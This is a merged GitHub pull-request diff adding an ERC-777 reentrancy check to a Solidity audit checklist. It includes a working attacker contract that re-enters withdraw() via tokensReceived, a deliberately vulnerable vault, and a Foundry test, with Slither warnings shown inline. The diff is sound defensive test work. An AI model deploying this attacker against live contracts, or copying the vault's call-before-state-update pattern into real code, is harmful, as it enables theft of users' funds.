Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -160,6 +160,7 @@ or open [`web/index.html`](web/index.html) directly.
| Check | What it detects |
|-------|----------------|
| `ReentrancyCheck` | Checks-effects-interactions violations, cross-function reentrancy via callbacks |
| `ERC777ReentrancyCheck` | Reentrancy via `tokensReceived` recipient hook (imBTC / Uniswap V1 class, 2020) |
| `AccessControlCheck` | Unprotected admin functions, unguarded initializers, missing role checks |
| `OracleCheck` | Spot price reads (manipulable), missing TWAP, single-source oracles |
| `UpgradeCheck` | Storage layout collisions in proxies, uninitialized implementation contracts |
Expand All @@ -172,6 +173,7 @@ src/
├── ChecklistBase.sol — Base contract with shared test helpers
├── checks/
│ ├── ReentrancyCheck.sol — Reentrancy detection tests
│ ├── ERC777ReentrancyCheck.sol — ERC-777 tokensReceived reentrancy
│ ├── AccessControlCheck.sol — Access control verification
│ ├── OracleCheck.sol — Oracle manipulation checks
│ ├── UpgradeCheck.sol — Proxy upgrade safety
Expand Down
91 changes: 91 additions & 0 deletions src/checks/ERC777ReentrancyCheck.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,91 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "../ChecklistBase.sol";
import "../examples/VulnerableERC777Vault.sol";

/// @title ERC777ReentrancyCheck — detect reentrancy via ERC-777 tokensReceived
/// @notice The same vulnerability class that drained imBTC/Uniswap V1 in 2020.
/// If the contract under audit moves ERC-777 tokens to a recipient
/// before settling its own accounting, a malicious recipient can
/// re-enter the call via `tokensReceived` and drain funds.
///
/// Override the protocol hooks below to point this check at your
/// contract: `getWithdrawCalldata`, `performDeposit`, and
/// `getERC777Token` (so the attacker uses the right token's hook).
/// @author kcolbchain
abstract contract ERC777ReentrancyCheck is ChecklistBase {
/// @dev Calldata that triggers a withdrawal/transfer-out from the target
function getWithdrawCalldata() internal view virtual returns (bytes memory);

/// @dev The ERC-777-like token whose tokensReceived hook is exploited.
/// Must be a MockERC777Token (or any token routing tokensReceived).
function getERC777Token() internal view virtual returns (MockERC777Token);

/// @dev Amount deposited by the attacker for the test
function getDepositValue() internal view virtual returns (uint256) {
return 1 ether;
}

/// @dev Perform a deposit as `depositor` of `amount`. Override to match
/// your target's deposit flow (approve+pull, push, etc.).
function performDeposit(address depositor, uint256 amount) internal virtual;

function test_erc777_reentrancy_on_withdraw() public {
bytes memory withdrawCall = getWithdrawCalldata();
MockERC777Token token = getERC777Token();
uint256 amount = getDepositValue();

ERC777ReentrantAttacker attacker =
new ERC777ReentrantAttacker(targetContract, withdrawCall);

// Fund vault with enough tokens that a reentered withdraw can drain
// more than the attacker deposited.
token.mint(targetContract, amount * 3);

// Attacker deposit. performDeposit must credit deposits[attacker] = amount.
performDeposit(address(attacker), amount);

uint256 attackerBalBefore = token.balanceOf(address(attacker));
attacker.attack();
uint256 attackerBalAfter = token.balanceOf(address(attacker));

uint256 extracted = attackerBalAfter - attackerBalBefore;

if (extracted > amount) {
emit log_named_uint(
unicode"VULNERABILITY: ERC-777 reentrancy drained extra tokens (wei)",
extracted - amount
);
fail();
}
}
}

/// @dev Attacker contract. Re-enters `withdraw` via the tokensReceived hook.
contract ERC777ReentrantAttacker is IERC777Recipient {
address public target;

Check warning

Code scanning / Slither

State variables that could be declared immutable Warning

ERC777ReentrantAttacker.target should be immutable
bytes public payload;
uint256 public reentries;
uint256 public maxReentries = 2;

Check warning

Code scanning / Slither

State variables that could be declared constant Warning


constructor(address _target, bytes memory _payload) {
target = _target;
payload = _payload;
}

function attack() external {
(bool ok,) = target.call(payload);
ok;
}

function tokensReceived(
address, address, address, uint256, bytes calldata, bytes calldata
) external override {
if (reentries < maxReentries) {
reentries++;
(bool ok,) = target.call(payload);
ok; // ignore — the test asserts via final balance, not call success
}
}
}
86 changes: 86 additions & 0 deletions src/examples/VulnerableERC777Vault.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,86 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/// @title VulnerableERC777Vault — intentionally vulnerable for demonstration
/// @notice DO NOT USE IN PRODUCTION. Mirrors the 2020 imBTC/Uniswap V1 drain
/// pattern: ERC-777 hook fires before balance state is settled, so a
/// malicious recipient can re-enter withdraw via tokensReceived.
/// @author kcolbchain
interface IERC777Recipient {
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}

/// @dev Minimal ERC-777-like token. Real ERC-777 routes tokensReceived via
/// the ERC-1820 registry; for the test fixture we hard-call the hook on
/// any contract recipient. The semantics that matter for the bug class
/// (recipient hook before settlement) are identical.
contract MockERC777Token {
mapping(address => uint256) public balanceOf;
string public name = "Mock 777";

Check warning

Code scanning / Slither

State variables that could be declared constant Warning

MockERC777Token.name should be constant
string public symbol = "M777";

Check warning

Code scanning / Slither

State variables that could be declared constant Warning

MockERC777Token.symbol should be constant

function mint(address to, uint256 amount) external {
balanceOf[to] += amount;
}

/// @dev Transfer with the ERC-777 recipient hook. If `to` is a contract,
/// its `tokensReceived` is called *before* this function returns,
/// but *after* the transfer is reflected in `balanceOf` — which is
/// the standard ERC-777 behavior.
function transfer(address to, uint256 amount) public returns (bool) {
require(balanceOf[msg.sender] >= amount, "insufficient");
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;

if (_isContract(to)) {
IERC777Recipient(to).tokensReceived(
msg.sender, msg.sender, to, amount, "", ""
);
}
return true;
}

function _isContract(address a) private view returns (bool) {
return a.code.length > 0;
}
}

/// @notice Holds ERC-777 tokens for users. Pays out before zeroing the
/// internal accounting — classic reentrancy via tokensReceived.
contract VulnerableERC777Vault {
MockERC777Token public immutable token;
mapping(address => uint256) public deposits;

constructor(address tokenAddr) {
token = MockERC777Token(tokenAddr);
}

/// @dev Fixture-style deposit: mints tokens straight to the vault and
/// credits the depositor. Production vaults would pull tokens via
/// approve+transferFrom or push semantics — the bug class is the
/// same either way (state ordering in `withdraw`).
function deposit(uint256 amount) external {
token.mint(address(this), amount);
deposits[msg.sender] += amount;
}

/// @dev BUG: transfer (which fires tokensReceived) happens BEFORE the
/// `deposits[msg.sender] = 0` write. An attacker contract whose
/// `tokensReceived` re-enters `withdraw()` drains the vault.
function withdraw() external {
uint256 owed = deposits[msg.sender];
require(owed > 0, "no deposit");

// External call (with hook) BEFORE state update — vulnerable.
token.transfer(msg.sender, owed);

deposits[msg.sender] = 0; // Too late — attacker already re-entered.
}

Check failure

Code scanning / Slither

Unchecked transfer High

Check warning

Code scanning / Slither

Reentrancy vulnerabilities Medium

Comment on lines +77 to +85
Comment on lines +77 to +85
}
36 changes: 36 additions & 0 deletions test/ERC777Reentrancy.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import "../src/checks/ERC777ReentrancyCheck.sol";
import "../src/examples/VulnerableERC777Vault.sol";

/// @title ExampleERC777ReentrancyAudit — demonstrates ERC777ReentrancyCheck
/// against VulnerableERC777Vault. The check must flag the vault as
/// vulnerable.
/// @notice Run with: forge test --match-contract ExampleERC777ReentrancyAudit -vvv
contract ExampleERC777ReentrancyAudit is ERC777ReentrancyCheck {
MockERC777Token token;
VulnerableERC777Vault vault;

function setUp() public {
token = new MockERC777Token();
vault = new VulnerableERC777Vault(address(token));
targetContract = address(vault);
}

function getWithdrawCalldata() internal pure override returns (bytes memory) {
return abi.encodeWithSignature("withdraw()");
}

function getERC777Token() internal view override returns (MockERC777Token) {
return token;
}

function performDeposit(address depositor, uint256 amount) internal override {
// VulnerableERC777Vault.deposit mints-then-credits for the fixture.
// Real targets typically pull tokens — override there.
vm.prank(depositor);
vault.deposit(amount);
}
}
Loading